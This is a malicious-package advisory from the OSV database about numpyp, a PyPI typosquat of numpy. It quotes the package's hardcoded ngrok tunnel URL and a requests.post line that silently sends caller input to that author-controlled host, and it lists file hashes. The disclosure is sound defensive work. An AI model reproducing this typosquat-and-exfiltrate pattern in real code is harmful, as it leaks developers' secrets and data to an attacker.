MAL-2026-12503

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/numpyp/MAL-2026-12503.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-12503
Published
2026-08-05T12:54:17Z
Modified
2026-08-05T13:36:27.302800548Z
Summary
Malicious code in numpyp (PyPI)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (971ce16c4710dfddc439c30ec2fc190001171f79fcd66f718ad358a43ecdf876)

Package name numpyp is a one-character edit of numpy (top-1 PyPI package) and PKG-INFO advertises it as 'the simplest module for quick work with files' — bearing no relationship to numerical computing. The actual implementation in numpyp/__init__.py defines BASE_URL = "https://fantasize-handcraft-pavement.ngrok-free.dev" (an author-controlled ngrok free-tier tunnel) and exports call(qst, info) / ans(qst_id, human), which unconditionally POST/GET caller-supplied content to that endpoint (e.g. requests.post(f"{BASE_URL}/questions", json={"question": qst, "info": info},...)). The destination is hardcoded with no documented configuration override, and the README does not disclose where data is sent. A developer who fat-fingers pip install numpy as numpyp and then calls the exported API will silently ship their input strings — potentially including pasted secrets, proprietary text, or exam material — to the author's home tunnel.

Database specific
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-014808",
            "import_time": "2026-08-05T13:08:48.019858712Z",
            "sha256": "971ce16c4710dfddc439c30ec2fc190001171f79fcd66f718ad358a43ecdf876",
            "modified_time": "2026-08-05T12:54:17Z",
            "source": "amazon-inspector",
            "versions": [
                "0.7.7"
            ]
        }
    ]
}
References
Credits

Affected packages

PyPI / numpyp

Package

Affected ranges

Affected versions

0.*
0.7.7

Database specific

cwes
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    }
]
indicators
{
    "evidence_files": [
        {
            "path": "numpyp/__init__.py",
            "tlsh": "f271f05681ad69d68301f42acc08650a2e7a15ff3e9723213cbc3dac7fd6035c1656ad",
            "sha256": "abe7cee2214f53cea8c4103636bca26f85d96be57cf5eae095ce2e40947cb80b"
        }
    ],
    "package_integrity": [
        {
            "filename": "numpyp-0.7.7.tar.gz",
            "hashes": {
                "sha256": "f00921577a6a04497c5a312090b5cf6b1899c8c2d61b64e5516bbd6d574fd7c6",
                "blake2b_256": "43dfc045209d46e2c06205b77556044b358514c724157a24596015ab6793a2ff",
                "md5": "188100fa864e7b86e6aff72202e3dad6"
            }
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/numpyp/MAL-2026-12503.json"